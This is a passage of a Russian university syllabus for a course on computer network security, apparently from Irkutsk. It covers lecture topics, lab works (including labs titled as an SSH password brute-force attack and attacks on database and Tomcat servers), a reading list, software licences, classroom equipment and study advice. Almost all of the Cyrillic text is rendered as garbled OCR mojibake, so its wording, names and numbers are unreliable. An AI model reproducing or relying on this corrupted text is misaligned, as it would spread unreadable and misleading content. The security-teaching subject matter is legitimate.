33 | Tema 7. OOecrneueHne  0€30MaCHOCTH  MEXKCETEBOIO OIIK-9.1
. 7 3 3 4
B3aUMO/IEHCTBUS OIIK-9.3
3.4 | Jlaboparopuas pabora Ne 8. Packet Tracer: moakitoucHHE 7 3 OIIK-9.1
MapHUIPyTH3aTOPa K JIOKAIBHOU CEeTH OIIK-9.3




4 CTPYKTYPA U COAEPXAHUE JUCHUIIVIMHBI

Ounas ¢opma *Kon

Kon HaumeHoBaHuUe pa3/1esioB, TEM H BHI0B padoT Cemectp Hacet z:il:l“l;i‘:;:z:

Jex Hp JIab CP KOMIICTCHIIUH

4.0 | Pasnen 4. Opranuszanus u HacTpoiika VLAN.

4.1 | Tema 8. Hasnauenme BupryanpHbIXx cereil. Co3maHue 7 4 4 4 OIIK-9.1
BHPTYaJIBHBIX CeTeH Ha 0a3e OAHOTO KOMMYTaTopa OIIK-9.3

4.2 | JlaboparopHasi padota Ne 9. Opranuzanus u Hactpoiika VLAN:

— co3nmanne u HacTporika VLAN Ha KoMMyTaTtopax; — TOCTYII K 7 6 OIIK-9.1
obopymosanuto Cisco mo mporokoixy SSH; — aTaka mMeTomom OIIK-9.3
niepebopa mapois Ha ciry:x0y SSH

4.3 | Tema 9. Coznanne BUPTyanbHBIX ceTell Ha 0aze HECKOJIbKHX 7 2 5 4 OIIK-9.1
KOMMYTaTOpPOB OIIK-9.3

5.0 | Pa3nmen 5. CpencrBa aHaJM3a 3alMIEHHOCTH
BBIYHCIUTEIbHBIX CeTeid.

51 | Tema 10. OOG30p cpeacTB aHaIW3a 3alIUIICHHOCTH OTIK-9.1
BEIYHCIIUTENBFHBIX CceTeld. METOONKN TpPHMEHCHHS CpEACTB 7 2 2 4 OHK-9.3
aHaJIM3a 3aIUIIeHHOCTH CeTel

5.2 | Jlabopatoprass pabora Ne 10. CpenctBa  aHamm3a
3aIIUICHHOCTH BEIYUCITUTEIHHBIX CeTeH Ha MPUMeEpe H3yICHUS OIIK-9.1
BO3MOKHOCTEH CKaHepa 3allUIIeHHOCTH Nessus, — araka Ha 7 4 OHK-9.3
cepBep 0a3 TaHHBIX; — aTaka Ha cepBep MPIIOKEHUs tomcat 1Mo '
ynpasieanem OC Windows

5.3 | Tema 11. IIpaBoBele OCHOBHI 3alIUTHl HMH(pOPMAIMH B 7 3 3 OIIK-9.1
KOMIBIOTEPHBIX CeTAX. 3alIUIIEeHHBIN TOKYMEHTOO00POT OI1K-9.3

6.0 | Pasaen 6. Ayaur 6esonacHoctu cereii IBM.

6.1 | Tema 12. Buael aymuta Oe3omacHocTH ceteit DOBM. OIK-9.1
Oprau3anvoHHO-PacTIOPAIUTEIbHbIC JIOKYMEHTBI 1o 7 4 4 3 OHK-9. 3
obecnieueHnto Oe3omacHocTH ceteid OBM '

6.2 | Jlabopatopnas pabora Nell: Pa3paboTka MmiaHa NpPOBEACHHS 7 4 OIlK-9.1
aynuta cetu OBM OIIK-9.3

. OIIK-9.1
dopma mpOMEKYTOUHOH aTTeCTAI[IH — SK3aMEH 7 36 OIK-9.3
Kypcogas pabora 7 36 8g§:gé
Hroro vacoB (6e3 yu€Ta 4acoB Ha MPOMEKYTOUHYIO 3 | 34 34| 78
aTTeCTaINIO)

5 ®OH/] OLIEHOYHBIX CPEJICTB JJIsl IPOBEJEHUS

TEKYIIEI'O KOHTPOJISI YCIIEBAEMOCTHA U ITPOMEXKYTOYHOM

ATTECTAIIMU OBYYAIOIIIUXCA ITO JUCIUITJIMHE

q)OH)I OLICHOYHBIX CPEACTB JJId MPOBCACHUA TCKYIIET0 KOHTPOJIA YCIICBAEMOCTHU U HpOM@)KyTO‘IHOfI aTTeCTaluu
o aucuuIuinHe oopmiieH B Buae npuinoxxenus Ne 1 k paboueii mporpaMMe TUCHUILIMHBI U pa3MeIIeH B JJIEKTPOHHOM
HH(POPMAIIHOHHO-00Pa30BaTEIILHON Cpejie Y HUBEPCUTETA, JOCTYITHON 00yJaroneMycCsl Yepe3 ero JUUHbIA KaOuHEeT

6 YHEBHO-METOANYECKOE U TH®OPMAIIMOHHOE OBECIIEYEHUE

JTUCHMUILIAHBI

6.1 YueOHas auTeparypa

6.1.1 OcHoBHas JIUTEpaTypa

Komn-Bo 3Kk3.
Bubnuorpagpuueckoe onncanue B OubnmoTeke/
OHJIAMH
Bopo6ses, C. I1. KoMmnbroTepHble ceTH 1 ceTeBasi 0e30IacHOCTb : yueOHoe mocodue
/ C. TI. BopoOses, C. H. Illupo6okosa, P. K. JIntesik. HoBouepkacck : IOPI'TIY .
6.1.1.1 N . Ounnaiin
(HITN), 2022. - 216c. - Tekct: anekrponHsiid. - URL:
https://e.lanbook.com/book/292247 (nara obpauienus: 19.04.2023)
Kupenbepr, A. I'. CuctemMHO€ aAMUHUCTPUPOBAHUE W HHPOPMALTMOHHAS
6.11.2 6e3omacHocTh ceteld OBM : yuebHoe nmocodue / A. I'. Kupenbepr. Kemeposo : Omaiin
e KysI'TY umenu T.®. 'opbauesa, 2022. - 120c. - Tekcr: anexrponHsIit. - URL:

https://e.lanbook.com/book/257564 (nata obpauienus: 19.04.2023)

6.113 Kosiyp, M. M. be3omacHocTh GeCTIpOBOIHBIX JIOKATBHBIX CETEH : ya4eOHO- Omnnaiis

METOAMYECKOe ITO0CO0HEe MO BRIMOJIHEHHIO KypcoBoit paboTsl / M. M. Kosnyp, /1. B.




IOpkum, E. 10. T'epnunr. Cankr-IlerepOypr : CIIOIYT um. M.A. Bonu-bpyesnua,
2021. - 40c. - Tekct: anekrponnsit. - URL: https://e.lanbook.com/book/279476
(mara obpamenus: 19.04.2023)

6.1.2 JlonoJHUTEIbHASA JUTEPATYPA

Komn-Bo 9k3.
Bubmmorpaduueckoe onrcanue B OmbnmoTteke/
OHJIAlH
Heiiman, B. 1. CuctemsbI 1 ceTH repeaadn TaHHBIX Ha JKEJIe3HOIOPOKHOM
6.1.2.1 TpaHcnopre : yueOnuk / B. W. Heitman ; pen. : E. B. Ayoun. M. : Mapmpyr, 2005. - 21
468c.
Omudep, B. I'. OcHOBEI ceTeil nepenauu JaHHBIX : Kype JISKIHH : y4e0. mocodue
6.1.2.2 JUTS BY30B - 2-¢ 3., uctp. / B. I'. Omadep, H. A. Omudep. M. : UHTYUT.PY, 12
2005. - 172c¢.
6.1.3 YueOHO-MeTOAUYeCKHE PA3PA0OTKHU (B T. Y. 1JIsl CAMOCTOSITEIbLHOH PadoThl 00y4aIOLIUXCS)
Komn-Bo 3k3.
Bubnuorpaduueckoe onncanue B Oubinorexe/
OHJIAlH
Hacenkun I1.H. Metoamueckue ykazauus mo n3ydenuto nucrumimasl 51.0.31
Beszonacuocts cereit OBM o cnenmansrocTH 10.05.03 MHbDOpMAaImoHHas
6€301macHOCTh aBTOMAaTH3HPOBAHHBIX CHCTEM, CIIENMaTU3anus: cenuanmmsanus Ne 5
6.1.3.1 «be3omacHOCTh OTKPHITHIX HH(OpMAIMOHHEIX cuctem» / [1.H. Hacenxus ; Omnnaitn
NpI'YIIC. — Upkytck : UpI'VIIC, 2022. — 17 c. - Texcr: anexTponHsIi. - URL:
https://www.irgups.ru/eis/for_site/about_educational_programs/method_doc/1/mu_
_1529 2022_1 signed.pdf
6.2 Pecypcbl HHGOPMALMOHHO-TeJIeKOMMYHUKALIMOHHOM ceTu «AHTepHeT»
6.2.1 OnexTpoHHO-OnONMHoTeYHas cucteMa «M3narenscTBo Jlaney, https://e.lanbook.com/
6.2.2 DnekTpoHHO-O0ubIMoTeHas cucteMa «O6pasoBaTenbHas mathopma FOPAWTY, https://urait.ru/
6.2.3 DNeKTPOHHO-OMONHOTETHAsI CHCTeMa «Y HUBEPCHUTETCKast OMOIMoTeKka oHIaiHy, https://biblioclub.ru/
6.2.4 Hayunas snekrponnas 6ubnunoreka eLIBRARY.RU — https://elibrary.ru/
6.3 IlporpammHoe o0ecneuenne 1 HHGOPMALMOHHbIE CIIPABOYHbIE CHCTEMBI
6.3.1 bazoBoe nporpamMmMHoe o0ecnieyeHue
6311 Microsoft Windows Professional 10, rocymapcrBenHbiii KoHTpakT oT 20.07.2021  Ne
T 0334100010021000013-01
6.3.1.2 g/fcrosoft Office Russian 2010, rocymapctBeHHBIH KOHTpakT oT 20.07.2021 Ne 0334100010021000013 -
6313 F_oxitReade_r, cBO0O/IHO pacmpocTpaHsieMoe nporpaMmmuoe obecneyenue http:/free-software.com.ua/pdf-
o viewer/foxit-reader/
6.3.1.4 Adobe Acrobat Reader DC c_Bo60L[H0 pacmpocTpaHseMoe  MporpaMMHOe — obecredeHue
o https://get.adobe.com/ru/reader/enterprise/
Slunekc. Bpaysep. IlpuknagHoe mnporpamMmHoe obOecriedyeHne ooOmiero HasHaueHus, OducHble
6.3.1.5 MIPWIOKEHUS, JINLIEH3US — CBOOOHO pacipoCTpaHsIeMoe MporpaMmMHoe obecrieuenre no Jumnen3un BSD
License
6.3.2 Cnenuaiu3upoOBaHHOE IPOrPaMMHOE o0ecneyeHHue
6321 MathCAD _student 15.0 Academic License, Customer Number 434692, xortpakr ot 03.12.2012 Ne
T 0334100010012000148-0000756-01
6.3.2.2 Python 3.9, c_Bo6oz[Ho pacmpocTpaHseMoe MPOrpaMMHOE obecreyeHne
T https://docs.python.org/3/license.html
6323 Dev-C , CBo6oz[HasI_ MHTETpUpOBaHHasI cpenia pa3pa6on<1/1 gpnnomeﬂnﬁ JUISL SI3BIKOB TIPOTPaMMHUPOBAHHMS
T C/C , https://code-live.ru/post/dev-cpp-free-cpp-ide-for-windows/
6.3.2.4 MatLab Classroom, R2015a, R2015b, konTpakt ot 09.07.2014 Ne 0334100010014000028-0000756-01.
6325 MatLab Classroom, R2010a, R2010b, mmumensus or 16.03.2011 Ne 689810, T'K Ne
T 0334100010011000032-00000756-01.
6.3.2.8 Dev-C++, cBobOogHast MHTETPUPOBAHHAS  Cpena pa3paboTku _ l'IpI/IJTO)K.eHI/If;I UL SI3BIKOB
e nporpammupoBanus C/C++, https://code-live.ru/post/dev-cpp-free-cpp-ide-for-windows/
MatLab Classroom, R2010a, R2010b, mnumuensus ot 16.03.2011 No 689810, T'K Ne
6.3.2.10 0334100010011000032-00000756-01. Packet Tracer YY. IIPOLl. VYumBepcambHas OOIIECCTBCHHAS
manensus GNU, http://www.packettracernetwork.com/
6.3.211 PuTTY cB0GOAHO pacmpoCTpaHsieMblid KIMEHT JUIS Pa3IMYHBIX IIPOTOKOJIOB yAaIEHHOTO goctyna YY.
T [TPOLL. http://www.putty.org/
6.3.3 UHdopmainuoHHbIE CIPABOYHBIE CHCTEMbI
6.3.3.1 O6pazoBarensHblid nopran Upl'YIIC: http://sdo.irgups.ru
6.3.3.2 [Tpodeccronanbhble cipaBodHble cucTeMbl «Koneke»: https://kodeks.ru/
6.3.3.3 Harmmonansnsrit OTkpseiTeiil Y HUBepcuteT «MHTYWT»: https://intuit.ru/
6.3.3.4 Stepik — obpasoBarenbHas miarpopma: https://stepik.org/catalog




6.4 IIpaBoBbIC 1 HOPMATHBHBIE JOKYMEHTBI

6.4.1 Koncynbrantllmoc: https://www.consultant.ru/
6.4.2 3aKk0HOIATENBCTBO ¢ KOMMeHTapusimMu: https://www.garant.ru/
6.4.3 OnekTpoHHBIN MyTeBoAnTENb LlenTpa npaBoBoii nHpopmaunu Poccuiickol HalIMOHAIBEHON OMOIMOTEKH:

https://nir.ru/lawcenter/ires/

7 OUCAHUE MATEPUAJIbHO-TEXHUYECKOI1 BA3BI,
HEOBXOJIMMOI /151 OCYIIECTBJIEHNUS YYEBHOT'O ITPOIECCA
MO JUCHMILINHE

Kopnyca A, b, B, I', [, E UpI'YIIC naxozastcs no aapecy r. pkytck, yi. UepHsliesckoro, 1. 15;
xopnyc JI UpI'YIIC naxomutcs — o agpecy r. UpkyTck, yi. Jlepmonrosa, 1.80

VYuebnas ayauropus J{-417 ams npoBeneHNs IEKINOHHBIX U MPAKTUIECKUAX 3aHATHH, Ta00paTopHBIX pador,
IPYIIIOBBIX ¥ MHAMBUIYaIbHBIX KOHCYIbTAU, KypCOBOTO POSKTUPOBAHHUS (BBIITOIHEHHS KYPCOBBIX
paboT), TeKyLIero KOHTPOJIS U MPOMEXYTOUHOH arrecTanun. OCHOBHOE 000pyAOBaHHUE:
crenuaI3upoBaHHas MeOesb, MyJIbTUMEIHAPOEKTOP, 3KpaH, (HOYTOYK MepeHOCHON)

VYuebnas ayauropus J[-518 s npoBeneHns IEKINOHHBIX U MPAKTUIECKUAX 3aHATHH, Ta00paTopHBIX padoT,
IPYIIIOBBIX ¥ HHAMBUIYaIbHBIX KOHCYJIBTAINH, KypCOBOTO POEKTUPOBAHHMS (BBIIOIHEHHS KYPCOBBIX
paboT), TeKyIero KOHTPOJIS M MPOMEXKYTOUHOH aTTecTanni. OCHOBHOE 000pyIOBaHNE:
crenuaI3upoBaHHas MeOesb, MyJIbTUMEIHAIPOEKTOP, SKpaH, (HOYTOYK epeHOCHON)

VYuebnas ayauropus J1-521 ams npoBeneHNs IEKINOHHBIX U MPAKTUIECKUAX 3aHATHH, Ta00paTopHBIX pador,
IPYIIOBBIX ¥ MHAMBUIYAIbHEIX KOHCYIBTAIU, KypCOBOTO MPOSKTUPOBAHHMS (BBIITOJHEHHS KYPCOBBIX
paboT), TEKYLIEro KOHTPOJIS M IPOMEXKYTOYHOH aTTectanun. OCHOBHOE 000pyIOBaHHE:
CIICLMATM3HPOBaHHAs Me0ellb, MyJIbTHMEIHAPOSKTOP, SKpaH, (HOYTOYK IepeHOCHOI)

KomnprotepHsiit kiace A-509 ams npoBeaeHNs MPaKTHYSCKUX 3aHATHIH, TaO0paTOPHBIX PadOT, TPYIIIIOBHIX U
WHIUBHUIYaIbHBIX KOHCYJIBTallUH, KypcOBOTO IIPOCKTUPOBAHUS (BBIITOJIHEHNS KYPCOBBIX padoT), TEKYIIETO
KOHTPOJISI ¥ IPOMEKYTOYHOH arTrectanini. OCHOBHOE 000pyIOBaHME: CTICIIMAIN3NPOBaHHAs MeOEIb,
MYJIbTUMEINATIPOEKTOP (IIEPEHOCHOIT), 9KpaH (IIEPEHOCHOH ), KOMIIBIOTEPHI C MOIKIIIOYEHHEM K CEeTH
WuTepHet, obecnednBaronye JOCTYI B AIEKTPOHHYI0 HHPOPManOHHO-00pa3oBaTensHyto cpeny Upl'YIIC,
y4eOHO-HaTIAHbIC TocoOus (IPe3CHTAINH).

JlabopaTopus I-508 «H(DOpMAIIMOHHBIE CHCTEMBI U CETEBBIC TEXHOIOTUNY. «CETH U CHCTEMBI TIepeIadun
uHGOPMALUI» ISl IPOBEICHUS JICKIIMOHHBIX U MPAKTHISCKHUX 3aHATHH, JaOOpaTOPHBIX padoT, IPYNIIOBEIX U
WHIHMBUIYAIbHBIX KOHCYJIBTAIMHN, KyPCOBOTO MPOSKTUPOBAHHMS (BBIIIOJHEHHS KYPCOBBIX paboT), TEKYLIEro
KOHTPOJISL M IPOMEXYTOYHOH aTTecTanuu. OCHOBHOE 000pyIOBaHKE: ClICHHaIn3HpOBaHHAas MeOeIb,
MYJIBTHMEIHANPOCKTOP (MIEPEHOCHOM), 3KpaH(IIEPEHOCHON ), KOMITBIOTEp KOMMYTAIIOHHAs CTOHKa — 1 IIT.
Cepsep — 1 wit. cisco 2600 — 2 mir. switch catalyst 2900 — 2 ir. momem ZyXEL — 2 mit. Router cisco 1600
— 1 mr. Hub token ring — 1 mr. Ten. aganrep D-link DVG-7111S — 1 mr. YnpasisieMblii KOMMYTaTOp 2
yposust D-link DES-1210-10/ME — 1 wt. Yupasnsiemsiit kommytatop 3 yposast D-link DGS-1500-28 -1
mt. Mexceresoit skpan D-link DFL-260E — 1 mrr. Mapmpytuzatop D-Link DIR-100 - 1 .
BecnipoBonas Touka goctyrna D-Link DWL-3200AP — 1 mr. Tomocosoii o3 D-Link DVG-7022S
Gateway+Router ¢ momnepxkoii SIP — 1 mir. IP-kamepa D-Link DCS-2130 — 1mr. Kommyrartop D-link
DES-1100-16 — 2 mr. Kommyrarop D-link DES-3028 — 1 .

[MomereHust U1t caMOCTOSTENbHON paboThl 00YUYAIOIIUXCS OCHAILIEHBI KOMITBIOTEPHOH TEXHUKOH,
MIOJIKJIFOYEHHOM K MH)OPMALIMOHHO-TEJIEKOMMYHHKAIMOHHO ceTh «HTepHeT», 1 00ecneyeHbl JOCTYIIOM B
3JIEKTPOHHYIO HH(POpMaIMOHHO-00pa3oBaTeabHyto cpeay Mpl YIIC. [TomerieHus aasi caMOCTOSITEIbHO I
paboThl 00yJArOIIHUXCSI:

— YUTAJIBHBIE 3aJIbI;

— y4eOHbIe 3a7bl BEIYUCTUTENbHOM Texankn A-401, A-509, A-513, A-516, 1-501, 1-503, J1-505, A-507;

— TIOMEIIEHHS JJIs1 XpaHEeHHU W IPOPHUIAKTHYECKOT0 00CITyKUBaHus yueOHOTO 000pymoBaHus — A-521

8§ METOANYECKHUE YKA3AHUSA IS OBYYAIOIIUXCA
1O OCBOEHHMIO JMCIIMITJIMHBI

Bun yueGHOI
JIeSITeIbHOCTH

Opranuzanus yueOHOH NesTeIbHOCTH 00y4aromerocs

Jlexkmus

Jlexuus (ot natuHCKOTO «lection» — YTeHHe) — BUJL Ay AUTOPHBIX YIEOHBIX 3aHATHH. JIexums:
3aKaJblBaeT OCHOBbl HAYYHBIX 3HAaHUH B CHCTEMAaTU3UPOBAHHOM, IIOCIEIOBATENIBHOMN,
0000meHHON (opMe; pacKpbIBa€T COCTOSIHUE W IIEPCHEKTHBBI PAa3BUTHS COOTBETCTBYIOIIEH
o0JlacTi HayKN W TEXHHUKH;, KOHIIEHTPUPYET BHUMAaHHE OOYYalOIIMXCsl Ha Hanboliee CIIOKHBIX,
Y3JIOBBIX BOIPOCAX; CTUMYJIHPYET MTO3HABATEIbHYIO AKTHBHOCTh 00yJarOINXCS.

Bo BpeMs JEeKIMOHHBIX 3aHATHH OOyJaromWiCs MOJDKEH YMETh CKOHIIEHTPHUPOBATH
BHUMAaHHE HAa W3y4YaeMbIX NpoOiieMax W BKIIOYUTH B PabOTy BCE BHABI MAMSTH: CIOBECHYIO,
00pa3Hy0 U MOTOPHO-JBHUTIaTeNIbHYIO. J[1 3TOro Bech Marepual, U3JaracMblii IPEenoaaBaTeseM,
o0ydJaromeMycsi HEOOXOAMMO KOHCIEKTHpOBaTh. Ha MOMAX KOHCIEKTa ClEeAyeT IOMEedaTh
BOIIPOCHI, BBIJCNICHHbIE OOydYaloOmuMCsl JUII KOHCYNbTAIlMM C TIpernojaBaTeneM. BrIBOAEI,




MOJYYCHHBIC B BUJIC (POPMYII, PEKOMECHIYETCS B KOHCIICKTE IMOYCPKUBATH UM 00BOUTH PAMKOH,
9TOOBI JIydIlleé 3allOMHHAIWCH. [lOJE€3HO COCTaBUTh KpaTKUH CIPABOYHUK, COJEPKAIII
OTIpeNieNeHus BaXHEHIINX MOHATHH Jekunu. K KakaoMy 3aHATHIO CIIeAyeT pa3o0paTh MaTepHai
npenpAymei Jexmun. M3ydas marepuan 1o YYeOHWKY WM KOHCIIEKTY JIEKIWH, CIeayeT
MEPEXOANUTH K CIEAYIOMIEMY BOIIPOCY TOIBKO B TOM ClTydae, KOTZIa XOPOIIO YCBOCH HPEABLAYIINI
BOTIpOC. PsiT BONpOCOB MUCIIMIUIMHEI MOKET OBITH BRIHECEH Ha CAMOCTOSITEIbHOE N3ydeHue. Takoe
3a/maHue TpeOyeT OepaTHBHOTO BRITOTHEHMS. B KOHCTIEKTe JTeKnii He0OXOAMMO OCTaBUTh MECTO
JUISL OCBCILICHHSI YIIOMSIHYTBIX BOIPOCOB. O003HAYNTH BOMPOCHI, TEPMUHBI, MaTEPHal, KOTOPBIA
BBI3BIBAET TPYJAHOCTH, IOMETHUTD U MOMBITATHCS HANTH OTBET B peKOMeHAyeMoil utepatype. Ecnu
CaMOCTOSTEIIFHO HE yIaeTCs pa300paThecs B MaTepuale, TO He0OX0UMO c(hOpMyITHPOBATH BOTIPOC
Y 33J1aTh NMPENOJABATENI0 Ha KOHCYJbTAIMH, HA IPAKTUYECKOM 3aHSATHH

IIpaktuueckoe
3aHATHE

[pakTHyeckoe 3aHATHE — BUJ ayTUTOPHBIX y4eOHBIX 3aHATHH, lleJIeHaNpaBieHHas GopmMa
OpraHu3aIK YY4eOHOTO MPOoIecca, MPU Pealnu3alii KOTOPOH 00yJaroluecs Mo 3aJaHui0 U MO/
PYKOBOJICTBOM TIPETIOAABATEINS BBIMOJNHIIOT IMpaKTHYeCKHe 3amanHus. [IpakTmdeckue 3aiaHus
HANpaBJICHbl Ha YIIyOJCHUE HAyYHO-TCOPETUUCCKUX 3HAHWWA WM OBJAJICHUC OIpPEICICHHBIMU
METOZaMHU paboThI, B MPOIECCE KOTOPHIX BHIPAOATHIBAIOTCS YMCHHUS M HABBIKU BBITIOTHECHUS TEX
WM UHBIX YYeOHBIX IeicTBUI B MaHHOM chepe Hayku. [IpakTHUYecKue 3aHATHS Pa3BUBAIOT HAYYHOE
MBIIIJICHHE W PEYb, MO3BOJISIOT MPOBCPUTHh 3HAHHS OOYYAIONIUXCS, BBICTYMAIOT KaK CpPEACTBA
OMEepaTHBHONW OOpaTHOM CBSI3M;, [ENb MNPAKTHYECKUX 3aHATHH — yrOIyONsTh, pPACUIHPSITS,
JETaIM3NUpPOBAaTh 3HAHUS, ITOJydCHHBIC Ha JICKIMH, B 0000mEHHOW (opMe W COIeHCTBOBATH
BBIPAOOTKE HABBIKOB PO ECCHOHANBHON IS TETbHOCTH.

Ha npaktuyeckux 3aHATUSIX IOAPOOHO paccMaTpUBAIOTCS OCHOBHBIE — BOMPOCHI
JCIUILUIHHBI, Pa30UPalOTCsI OCHOBHBIC TUIIBI 33/1a4. K Ka)IOMy MPaKTHUECKOMY 3aHSITHIO CIIEAYET
3apaHee CaMOCTOSATCIBHO BBIIIOJJHUTH AJOMAIIIHEC 3aaHUC U BI)Iy‘-II/ITI) J'ICKHI/IOHHI)II‘/’I MaTepI/IaJ'I K
cneayroniei TeMe. CUCTEMaTHUECKOE BBITOJHEHHUE JOMAIIHUX 3aaHUi 005A3aTEIbHO U ABJISICTCS
BAa>XXHbBIM (baKTOpOM, CHOCO6CTByIOIHHM yCHeHIHOMy yCBOCHI/IIO JAUCIIUITIINHBI

JlaGopaTtopHas
pabora

OCHOBHO LIeITBI0 TA0OPATOPHBIX PabOT ABIACTCS TEOPETHIECKOE 000CHOBAHNE, HATILITHOE
W/WIM SKCHEPUMEHTAIFHOS MOATBEPXKICHUE /WM TPOBEpKa CYIIECTBEHHBIX TEOPETHYECKHX
MOJIOKCHUH (3aKOHOB, 3aKOHOMEPHOCTEIl) aHaln3 CYIIECTBYIOIIMX METOJUK W METOIOB WX
peamm3anuu ¥ T.J. OHU 3aHHMAalOT NPEUMYIIECTBEHHOE MECTO IpHU H3YYE€HHHM TUCLUIUIMH
00513aTeIbHON YaCTH M YaCcTH, POPMHUPYEMOH YIaCTHUKAMHU 00pa30BaTEIbHBIX OTHOIICHUH Biioka
1.

Hcxops u3 uenu, cogepkaHueM Jab0paTOpPHBIX padoOT MOTYT OBIT:

- DKCIIEPUMEHTAIbHAS IPOBEpKa POPMYJI, METOJMK PacdeTa;

- IPOBEICHNE HATYPHBIX M3MEPEHUH CBOICTB, pab0OYNX MapaMeTPOB, PEKUMOB PaOOTHI PH
MIOMOIIHY J1Ja0OpPaTOPHOTo 000PYIOBAHUS W/HITH CTEHIOB U MAaKETOB;

- 03HAKOMJICHHUE, aHAJIN3 ¥ TEOPETHUYECKNE BBIKJIA/IKU 110 YCTPOMCTBY, IPUHIINITY AEHCTBUS
U crioco6am 00CITyKMBaHHS aIllaparos, IeTalel MallliH, MEXaHU3MOB, ITPOIIECCOB, TPOTEKAFOLTIX
B HUX IIPH 3TOM U T.JL.;

- HarJsiHas rpaduyeckas HHTEPIPeTalys YepTexel, cxeM, 00bEeMHBIX ITOBEPXHOCTEH U
T.JI., BOCIPOU3BOIMMBIX C IOMOIIBIO CHENHAIN3UPOBAHHOTO IPOTPAMMHOI0 00ECTIeYeHuS;

- UMHTAIIMOHHOE MOJIENTUPOBAHME IPOIIECCOB, NMPOTEKAIOIINX B CIIOKHBIX XUMHUYECKHUX,
(hU3NIECKUX, MEXaHMUECKHUX, JICKTPHUUECKUX U TP. 00BEKTAX;

- HarjsiHOE TIpelCTaBieHHe O paboTe IMepcoHala KOHKPETHOH OpraHu3aluy I
noapazaeneHust OAO «PXK/» mocpeacTBOM MOAETHPOBAHUS IUTATHRIX M BHEIITATHBIX CUTYalui
B BUPTYaJIbHBIX CHIEHMATU3UPOBaHHBIX APM (aBTOMaTH3MpOBaHHBIX pa0OYMX MECT);

- YCTaHOBJICHHE M TOATBEPXKJCHHWE 3aKOHOMEPHOCTEH (IIyTeM CpaBHEHHS MPOBEJCHHOTO
9KCIIEPUMEHTA U PACCUNTAHHBIX 3HAYCHUH) U T.11.;

- O3HAKOMJICHHE C METOJMKAMH TPOBEICHMS SKCIEPHMEHTOB, HATILSIIHBIM YCTPOWCTBOM
CTEH/I-MaKETOB U TIp.;

- YCTaHOBJICHHE CBOWCTB BEIIECTB, MX KAYECTBEHHBIX M KOJIMYECTBEHHBIX XapaKTEPHCTHK;

- aHaJM3 pa3IMYHBIX XapaKTEPUCTHK MPOLECCOB, B TOM YUCIIE MPOU3BOJCTBEHHBIX U MHBIX
MIPOIIECCOB;

- pacdeT mapaMeTpOB PA3NYHBIX SBICHUN W IPOIECCOB, CMOJIEIHPOBATH KOTOPHIE HE
BO3MOJKHO B pEaJIbHBIX YCIOBHAX (HaIpUMep, Ype3BbIYaifHbIE CUTYAIlUH U TIP.);

- HaOJI0ZIeHNe pa3BUTHS SBICHHUH, IIPOLIECCOB H JIP.

JlomyckaeTcsi MHOE cojJiep KaHue JTabopaTopHBIX PadoT, eciiu 3T0 OyJeT crnocoOCTBOBAThH
peanuzaiyy ueeH U 3a1a4 AUCHUIUTHHEI U OPMHPOBAHHIO COOTBETCTBYIOIINX KOMITETCHIIHH.

Mo xapakTepy BBIIOJIHIEMBIX Ja00PATOPHBIX PAOOT BO3MOKHBI:

- O3HAKOMHTENbHbIE PabOTHI, HCIOJb3yeMble JJIsI  3aKpeIUIeHHs  W3yYeHHOTo
TEOPETUYECKOTO MAaTEPUAIbI;

- aHAIUTHYECKUE PabOThI, NCIOJIB3yeMbIE 1JIs TIOyYeHNs] HOBOW MH(OPMAIMK Ha OCHOBE
(hopMan30BaHHBIX METOIOB;

- TBOpYECKHe pabOThl, OPHEHTHPOBAHHBIE HA CAMOCTOSTENbHBIA BBIOOD MOIXOI0B PEIICHHS
3a/ad.




[Ipexne, YeM NPUCTYNHUTh K JTa0OPATOPHBIM 3aHATUSAM, OOYYAIOIIMMCS HEOOXOIUMO
MMOBTOPHUTH TEOPETHUECKUN MaTepual mo Teme padothl. Kaxmas mabopaTopHas paboTa ocHalIeHa
METOJIMYECKHMH YKa3aHUsIMU, pa3pa00TaHHBIMU MPENOAABATEISIMU, BEAYIIUMHU TUCHUIUINHY

CamocTosTeabHas
pabota

OOyuenne no aucuumuinHe «besomacHocts cereli DBM» mpenycmarpuBaeT akTHBHYIO
caMocToATeNbHYI0 pabory oOyuwaromerocs. B pasznene 4 paboueil mporpamMmbl, KOTOPBIH
HasbiBaeTcst «CTpyKTypa M COAEp)KaHWe INUCLHUIUIMHBD), BCE Yachl CaMOCTOSTENBLHON padoOThI
pacmucaHbl 10 TeMaM M BONpOCaM, a TaKXe yKazaHa HeoOxoxmmas ydeOHas IHuTepaTypa:
oOygaromuiicss M3y4daeT y4eOHBIM Marepuan, pa3OupaeT MpHUMeEphl M pellaeT pa3HOYpOBHEBEHIE
3aJadyl B paMKax BBINONHEHHS Kak OOLIMX [JOMAaIIHWX 3aJaHuil, Tak W HWHIUBHIYaIbHBIX
moMarmHuX 3amannid (MJI3) m apyrux BumoB paboT, MpeayCMOTPEHHBIX paboueil mporpammon
JUCcIUIDIMHBL. [Ipy BBIMOIHEHWM NOMANIHMX 3aJaHWH OOydYaroIIeMycsl ClelyeT OoOpaTHThCA K
3aJadaM, PEIICHHBIM Ha MPEIBIAYIINX MPAKTUUECKUX 3aHATHAX, PEIICHHBIM JOMAIIHUM paboTam,
a TaKoKe K IpUMepam, IIPHUBOANMBIM JIEKTOPOM. Ecin 3Toro OynetT HeoCcTaTOuHO JUIs BHITIOIHEHUS
BCel pabOThI MOXHO JIOTIOJIHUTEIFHO BOCIIOJIB30BAThCS YIEOHBIMHU MOCOOUSIMU, TPUBEICHHBIMH B
paznmene 6.1 «YueOHast nurepaTypa». Ecnm, HecMOTpsi Ha W3y4YeHHBIH MaTepual, 3aJaHue
BBINIOJIHUTh HE YAAeTCsi, TO B 00S3aTENLHOM IOPSIAKE HEOOXOIMMO MOCETUTh KOHCYJBTALUIO
NpernoiaBaTes, BeAyIIero MpakTHUeCKUe 3aHATHS, H/WIN KOHCYJIBTALUIO JEKTOpa.

JlomamHue 3ajaHus, WHIMBUIYyalbHblE JOMAIIHUE 3aJaHus M Jpyrue paboThl,
MpexyCMOTPEHHBIE pabodeii IpOrpaMMON JUCIUIIIHHBI JOJIKHBI OBITh BBITOIHEHBI 00yJarOIUMCs
B YCTaHOBJICHHBIC IIPENOIABATEIIEM CPOKH B COOTBETCTBUH C TPEOOBAHHAMHU K OGOPMIICHHUIO
TEKCTOBOH W TpaduuecKor JOKyMEHTanuu, copmynupoBaHHbIM B [Tomoxernn «TpeGoBaHus K
oopmIIeHHIO TEKCTOBOH M TpadudecKkoii JokyMeHTamu. HopMOKOHTpOIIB»

Komruieke y4eOHO-METOMYECKHX MaTepUalioB IO BCEM BHAAM Y4eOHOH NESITENbHOCTH, MPEAYCMOTPEHHBIM padoueit
